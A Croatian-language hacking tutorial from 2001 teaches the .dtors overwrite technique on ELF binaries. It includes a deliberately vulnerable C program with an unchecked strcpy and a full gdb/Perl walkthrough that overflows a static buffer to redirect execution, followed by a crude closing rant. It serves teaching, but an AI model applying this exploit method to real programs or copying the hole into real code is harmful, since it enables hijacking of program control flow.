DTORS TORN APART ~~~~~~~~~~~~~~~~~ autor : DownBload e-mail: downbload@hotmail.com /* koji jos linuxas ima acc. na hotmailu ? :) */ datum : 30.12.2001 /* da, da, sutra navecer ce biti pijancevanja :) */ Sadrzaj: ~~~~~~~~ 0x0) Intro 0x01) Uvod 0x02) ELF 0x03) CONSTRUCTOR i DESTRUCTOR atributi za funkcije 0x04) Exploitanje dtors-a 0x05) Outtro :) 0x0) Intro ~~~~~~~~~~ Potaknut tekstovima fr1ca i styxa o 'dtors' tehnici preuzimanja kontorle nad programom napisanim u C programskom jeziku, odlucio sam napisati jos jedan tekst, koji ce objasniti neke detalje koji nisu objasnjeni u tekstovima navedenih autora. Ne kazem da ta dva teksta nisu dobra, samo kazem da je pocetnicima teze dokuciti neke stvari ako nisu detaljno objasnjene, a kad ja jednostavno nemogu podnositi da neke stvari nisu objasnjene kako treba. Da bi razumijeli dtors tehniku, potrebano je neko znanje C-a i baratanje debugerom gdb i potrebno je imati PERL interpreter na racunalu. Ovaj tutorial nije prepis fricovog ili styxovog tutoriala o dtors, nego tutorial koji sam ja sam napisao na temelju istrazivanja dtorsa. 0x01) Uvod ~~~~~~~~~~ Mogucnost preuzimanja kontrole nad C programima uz stack, format string i heap overflowe nam omogucuje i dtors tehnika. Glavni uzrok tog 'buga' je kao i inace nepaznja programera, sto sa kombinacijom nekoliko standardnih postavki kod ELF fajlova dovodi do preuzimanja kontrole nad tokom ranjivog programa. Prvo cu vam pokusati malo objasniti strukturu ELF fajlova. 0x02) ELF ~~~~~~~~~ ELF (EXECUTABLE AND LINKING FORMAT) je laicki receno standard izvrsnih datoteka za vecinu unixoidnih operativnih sistema. Tu se ubrajaju GNU/Linux, HP-UX, NetBSD, FreeBSD, Solaris, IRIX, UNIX System V ABI i jos neke. ELF format razvio je Unix System Laboratories. Shematski prikaz ELF datoteke: ----------------- <--{ ELF header: to je zaglavlje ELF datoteke i sadrzi neke | ELF header | postavke kao sto su operativni sistem na kojem je fajl ----------------- kompajliran, arhitektura procesora (x86, SPARC itd.), | Table program | da li je to little ili big endian arhitektura itd. | header | <--{ Table program header: govori sistemu kako da pokrene ----------------- program (kreira 'process image') | Section 1 | <--{ Ovo su razne sekcije ELF datoteke, naprimjer: ----------------- .bss, .data, .fini, .init, .text, .got itd. | Section 2 | Kad se neki ELF pokrene, tada se ELF sekcije kopiraju ----------------- u memoriju (RAM). Najbitniji su Data i Text segmenti | ........ | u memoriji. U Data segmentu se nalazi data i bss ----------------- sekcija ELF fajla. U Text sekciji se nalazi text dio | Section n | ELF fajla, kao sto su instrukcije i read-only podaci. ----------------- | Table section | <--{ Table section headers sadrzi zaglavlje za svaku sekciju | headers | unutar ELF fajla. U zaglavlju se nalazi ime sekcije, ----------------- velicina sekcije, neki atributi itd. Zelite li znati vise o ELF formatu, potrazite dokumentaciju na INTERNETU. 0x03) CONSTRUCTOR i DESTRUCTOR atributi za funkcije ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Kod GCC kompajlera funkcijama mozemo dodati neke atribute. Nama su sada zanimljivi atributi constructor i destructor (ustvari samo destructor :). Funkcija koja ima atribut constructor biti ce izvrsena prije funckije main, a funkcija koja ima atribut destructor biti ce izvrsena poslije izvrsenja funkcije main. Constructor i destructor ce u ELF datoteci biti stavljeni pod sekcijama .ctors i .dtors. primjer: ------CUT-HERE------ #include static void before (void) __attribute__ ((constructor)); static void after (void) __attribute__ ((destructor)); void before (void) { printf ("Ovo je izvrseno prije main funkcije!!!\n"); } void after (void) { printf ("Ovo je izvrseno poslije main funkcije!!!\n"); } main () { printf ("Ovo je main funkcija!!!\n"); } ------CUT-HERE------ Snimite to kao dtors.c i kompajlirajte -> gcc dtors.c -o dtors Pokrenemo fajl dtors: $ ./dtors Ovo je izvrseno prije main funkcije!!! Ovo je main funkcija!!! Ovo je izvrseno poslije main funkcije!!! $ Znaci sve radi kako treba. Da vidimo sadrzaj sekcija izvrsne datoteke, koristit cemo program objdump (man objdump). Objdump ispisuje informacije o objektnim fajlovima. Mi cemo koristiti opcije: -h (--section-headers) : ispisuje informacije iz zaglavlja (headera) sekcija (Sjecate se 'table section headers'???) -s (--full-contents) : ispisuje pun sadrzaj sekcija -j (--section=name) : ispisuje informacije samo za sekciju koju mi navedemo -t (--syms) : ispisuje sadrzaje 'symbol table' Krenimo u akciju... $ objdump -h ./dtors | more . . . 13 .ctors 0000000c 080495c0 080495c0 000005c0 2**2 CONTENTS, ALLOC, LOAD, DATA 14 .dtors 0000000c 080495cc 080495cc 000005cc 2**2 CONTENTS, ALLOC, LOAD, DATA . . 18 .comment 0000003c 00000000 00000000 00000680 2**0 CONTENTS, READONLY . . Dobili smo popis sekcija ELF datoteke. Objdump nam je za svaku sekciju ispisao i njezine atribute. Ti atributi odredjuju specifikacije te sekcije kad je u memoriji (ustvari u memoriji su te sekcije segmenti) . Ako neka sekcija nema atribut READONLY, znaci da se po njoj (kad je mapirana u memoriji) moze pisati. Program se mapira u memoriju prilikom njegovog pokretanja. Iz ovog primjera vidimo da se po .ctors i .dtors sekciji moze pisati, dok se po .comment ne moze pisati, jer ima READONLY atribut. (.comment sekcija nas ne zanima, to sam naveo samo kao primjer) Nas generalno zanima .dtors sekcija, zato sto se .ctors izvrsava prije main, tako da ju ne mozemo exploitati. Pogledajmo sadrzaj .dtors sekcije: $ objdump -s -j .dtors ./dtors | more . . . Contents of section .dtors: 80495cc ffffffff b0840408 00000000 ............ . . . Znaci, kad main se izvrsi main funkcija, "kontrola ce se predati" .dtors sekciji, koja ce onda izvrsiti funkciju koja je u memoriji na adresi 0xb0840408. 0x04) Exploitanje dtors-a ~~~~~~~~~~~~~~~~~~~~~~~~~ Pa napisimo jedan 'obican' program. ------CUT-HERE------ #include static void bingo(void); void bingo (void) { printf ("PROGRAM EXPLOITAN :)\n"); } main (int argc,char *argv[]) { static char buf[500]="TESTIC"; strcpy (buf,argv[1]); } ------CUT-HERE------ Snimite to kao vuln.c i kompajlirajte: gcc vuln.c -o vuln $ objdump -h ./vuln | more . . 14 .dtors 00000008 0804976c 0804976c 0000076c 2**2 . . Cudno!!! U datoteci je .dtors sekcija (i .ctors, ali ona nam vise nije bitna), a nitko ju nije narucio :) .dtors sekcija se nalazi u ELF datoteci, premda nema ni jedne funkcije sa adributom destructor. Pogledajmo sadrzaj .dtors sekcije... $ objdump -s -j .dtors ./vuln . . Contents of section .dtors: 804976c ffffffff 00000000 ........ . . Vidimo da .dtors sekcija postoji, samo sto ne pokazuje na niti jednu funkciju. Ah, da, skoro sam zaboravio. Sigurno se pitate zasto smo buf deklarirali kao staticni i inicijalizirani. To smo deklarirali tako, zato da buf 'dospije' u .data sekciju. U slucaju da je buf neinicijaliziran i ne staticni, bio bi smjesten u .bss sekciju, sto je za razliku od .data sekcije jako daleko od .dtors-a, pa ga onda nebi mogli exploitati. Konacno je dosao red na exploitanje dtors-a, ali prije toga jedna JAKO vazna napomena: Kad program vuln.c prepisujete u neku drugu datoteku, pazite da ne izostavite newline (\n) escape sekvencu u funkciji bingo, zato sto bi se moglo desiti da vi uspijete exploitati program, ali da vam se tekst "PROGRAM EXPLOITAN :)" ne ispise. /* Da dobacim jedan komentar koji nema veze sa tekstom, sad je 5:08, na staru godinu, a ja jos pisem ovaj tekst, proucavam ELF format, slusam Balasevica i smrzavam se jer sam u sobi ugasio pec. Pricekajte malo, idem na WC (pisati).*/ Evo mene natrag. Znaci, da bi exploitali program, potrebno je .dtors sekciju (segment) prepisati sa adresom na kojoj se nalazi funkcija koju mi zelimo pokrenuti. Prvo moramo pogledati na kojoj se adresi nalazi ta funkcija koju zelimo pokrenuti pomocu .dtors-a. $ objdump -t ./vuln | more . . 080484c0 l F .text 00000014 bingo . . Pogledali smo 'Symbol Table' i saznali da se nasa funkcija nalazi na adresi 0x080484c0. Ovim hex. brojem cemo prepisati .dtors sekciju, ali jos prije moramo saznati udaljenost naseg statickog bufera (buf[500]) od .dtors sekcije, Odnosno od __DTORS_END__ simbola. Znaci prvo moramo saznati adrese __DTOR_END__ simbola i adrese naseg statickog bufera u data sekciji. To napravimo ovako :) $ objdump -t ./vuln | more . . 08049770 l O .dtors 00000000 __DTOR_END__ . . 08049570 l O .data 000001f4 buf.4 . . Znaci adresa __DTOR_END__ je 0x08049770, a adresa bufera (buf) je 0x08049570. Naoruzani tim podacima, mozemo krenuti u gdb. $ gdb ./vuln GNU gdb 4.17.m68k.objc.threads.hwwp.fpu.gnat Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i486-pc-linux-gnu"... (no debugging symbols found)... (gdb) (gdb) printf "%d", 0x08049770-0x08049570 512(gdb) set arg `perl -e 'print "A" x 512;print "\xc0\x84\x04\x08;'` (gdb) run Starting program: /home/downbload/hack/TUTOR/DTORS/./vuln `perl -e 'print "A"x 512;print "\xc0\x84\x04\x08";'` PROGRAM EXPLOITAN :) (no debugging symbols found)...(no debugging symbols found)... Program received signal SIGBUS, Bus error. 0x8049770 in () (gdb) info registers eax: 0x8049700 134518528 ecx: 0x7e 126 edx: 0x804856a 134514026 ebx: 0x8049774 134518644 esp: 0xbffffb34 -1073743052 ebp: 0xbffffb3c -1073743044 esi: 0x2 2 edi: 0x8049570 134518128 eip: 0x8049770 134518640 eflags: 0x10206 IOPL: 0; flags: PF IF RF orig_eax: 0xffffffff -1 cs: 0x23 35 ss: 0x2b 43 ds: 0x2b 43 es: 0x2b 43 fs: 0x2b 43 gs: 0x2b 43 (gdb) quit To je postupak kojim exploitamo dtors. Sad cu objasniti sam postupak korak po korak: 1. Korak Prvo u debuger 'ucitamo' nas vuln program: $ gdb ./vuln 2. Korak Iskoristit cemo printf funkciju debugera da adresu statickog bufera oduzmemo od adrese __DTOR_END__ simbola. To je ovo: (gdb) printf "%d",0x08049770-0x08049570 512 Sad smo dobili udaljenost statickog bufera (buf) od __DTOR_END__ simbola, pa znamo s koliko byte-ova moramo overflow-ati staticki bufer (i cijeli .data segment), da bi dosli do .dtors sekcije (odnosno segmenta). 3. Korak Sad cemo iskoristiti PERL interpreter (ako ne znate PERL, obavezno ga naucite, zato sto je to izvrstan, snazan i lagan programski jezik, kojeg svaki pravi hacker mora znati), da bi predali argumente nasem vuln programu. Perl mozemo pokrenuti tako da izvrsi instrukcije koje mu damo u naredbenom retku. Za to koristimo -e opciju. Primjer: $ perl -e 'print "OVO JE PROBA\n";' OVO JE PROBA $ Vratimo se mi u debuger. U debugeru trebamo postaviti argumente za vuln program koji cemo pokrenuti. To je ovo: (gdb) set arg `perl -e 'print "A" x 512; print "\xc0\x84\x04\x08";'` 'set arg' naredba nam sluzi za postavljanje argumenata programu kojeg cemo pokrenuti i debagirati. Za one koji ne znaju PERL, naredba print "A" x 512 ispisuje slovo A 512 puta. To nam treba da overflowamo staticki bufer (cijeli data segment) i da dodjemo do .dtorsa. Kad dodjemo do dtorsa, onda u .dtors sekciju (segment) pomocu print "\xc0\x84\x04\x08" upisujemo adresu funkcije koju zelimo pokrenuti. U nasem slucaju to je funkcija bingo(), a adresa je 0x080484c0. Adresu upisujemo obrnutim redoslijedom, byte po byte u hexadecimalnom obliku, zato sto je takvom obliku zapisana u memoriji. Siguran sam da vam jos nije jasno zasto adresu upisujemo obrnutim redoslijedom. Tu ulaze u igru dva pojma koja sam vec ranije spomenuo kod objasnjenja struktureSad u igru ulaze dva pojma koje sam vec spomenuo kod objasnjenja strukture ELF fajla, a to su little endian i big endian arhitekture procesora. * Little endian arhitekture podatke (bytove) u memoriju upisuju obrnutim redoslijedom. Primjer za little endian: hex. broj 123456h bi little endian procesor u memoriju zapisao ovako: U memoriji: 5 6 2 3 1 2 Little endian procesori su svi Intel-like x86 procesori. * Big endian arhitekture podatke (bytove) u memoriju upisuju normalnim redoslijedom. Primjer za big endian: hex. broj 123456h bi big endian procesor u memoriju zapisao ovako: U memoriji: 1 2 3 4 5 6 Mislim da je primjer za big endian arhitekturu SPARC (nisam 100% siguran). U slucaju da imate big endian procesor, da prepisete .dtors, trebate promijeniti print "\xc0\x84\x04\x08" u print "\x08\x04\x84\xc0". (Nisam bas 100% siguran da li ce to raditi, zato sto nemam big endian box da to isprobam, to je samo moja pretpostavka :) 4. Korak Pokrenemo program naredbom run: (gdb) run Ako je sve u redu, program bi trebao ispisati PROGRAM EXPLOITAN :) To je sva mudrost exploitanja dtors-a. Za skepticne: Dokaz da je exploitanje uspjesno mozete dobiti tako da poslije exploitanja programa pokrenete naredbu 'info registers'. Ta naredba nam ispisuje sadrzaj svih registara u procesoru. Nas zanima eip registar (ustvari njegov sadrzaj). Ako vam je program ispisao tekst "PROGRAM EXPLOITAN :)", tada bi eip trebao sadrzavati adresu __DTOR_END__ simbola, dakle 0x08049770, ali ako je adresa __DTOR_END__ simbola u eip registru, a tekst "PROGRAM EXPLOITAN :)" nije ispisan , znaci da niste tocno prepisali vuln.c program, zato sto (opet ponavljam) printf() funkcija koja ispisuje taj tekst mora na kraju teksta imati newline escape sekvencu (\n). 0x05) Outtro :) ~~~~~~~~~~~~~~~ Stara godina, 18:20, tekst je konacno zavrsen. Nadam se da ste nesto naucili iz ovog teksta. Posaljite mi feedback za ovaj tekst na mail, koji je u headeru :) Tuzan dodatak: Hr hack scena je totalno propala. Ja sam na hack scenu dosao bas kad su se neki poznatiji ljudi sa nase scene povukli. Ne zelim ih nabrajati, zato sto cu ih puno izostaviti (ne namjerno), a ne zelim da se neki od njih osjecaju zaboravljeni :) Nazalost na hr hack sceni ima puno ljudi koji kazu da nesto znaju, iako to bas i nije potpuno ili u cijelosti istina. Bez problema mogu reci da je yu scena puno bolje razvijena od hr scene. Pogledajte samo www.elitesecurity.org (ne radim im reklamu :). Svi poznatiji ljudi hack scene sa 'balkana' se mogu naci na elitesecurity-u. Active-security.org form je totalno prazan, nema novih postova, novih ljudi, nicega. Istina, na scenu dolaze novi ljudi, ali to su vecinom pocetnici sa pitanjima 'koja je distribucija linuxa najbolja za pocetnika'. Pocetnicima preporucam da pogledaju moj txt o WWW hackingu (IIS/Apache). GREETZ (rand()): phi,fr1c,p4tri0t,boyscout,slash,net0,paradox,styx,the1, harlequin,sh0t,phiber i svima koji me znaju. Znam da sam zaboravio puno ljudi i unaprijed im se ispricavam. SHITZ (rand()) : od kad je moj "drag" prijatelj DaRKMAN otisao sa hr-lejm scene, s obzirom da se neko mora tu nalaziti, tu bi smjestio sve osobe koje se nazivaju hackerima i koriste trojance, odnosno one ljude koji vise po hinet i iskon chatovima u char-roomovima sa h4x0r5k1m imenima i nazivaju sebe hackerima :) Ispricavam se zbog mogucih gresaka u tekstu (gramatickih i tehnickih). NOTE: u slucaju da neko napise neki txt i nekim me slucajem stavi pod greetz, molim doticnu osobu da mi nick napise ovako: DownBload Unaprijed hvala :) LIVE LONG, FUCK LONGER ... by DownBload